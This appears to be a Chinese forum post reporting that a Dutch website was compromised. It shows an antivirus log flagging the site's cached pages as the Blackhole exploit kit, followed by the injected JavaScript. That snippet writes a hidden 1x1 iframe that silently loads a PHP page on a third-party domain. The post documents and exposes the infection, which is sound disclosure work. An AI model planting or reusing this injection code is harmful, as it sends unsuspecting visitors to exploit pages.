http://team-bussi.nl/【挂马BY哀酱】

墨家小子

2013/4/24        11:45:20        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\P18EO2V5\team-bussi_nl[1].htm        JS/Exploit-Blacole.eu (特洛伊)
2013/4/24        11:45:25        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\Rechts[1].htm        JS/Exploit-Blacole.eu (特洛伊)
2013/4/24        11:45:25        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\Navigatie[1].htm        JS/Exploit-Blacole.eu (特洛伊)
2013/4/24        11:45:25        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\top[1].htm        JS/Exploit-Blacole.eu (特洛伊)
2013/4/24        11:45:25        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\midden_index[1].htm\00002216.js        JS/Exploit-Blacole.le (特洛伊)

哀酱俏佳人

(function () {
    var hyk = document.createElement('iframe');

    hyk.src = 'http://www.thomas-hey
er.de/dtd.php';
    hyk.style.position = 'absolute';
    hyk.style.border = '0';
    hyk.style.heigh
t = '1px';
    hyk.style.width = '1px';
    hyk.style.left = '1px';
    hyk.style.top = '1px';

   
if (!document.getElementById('hyk')) {
        document.write('<div id=\'hyk\'></div>
');
        document.getElementById('hyk').appendChild(hyk);
    }
})();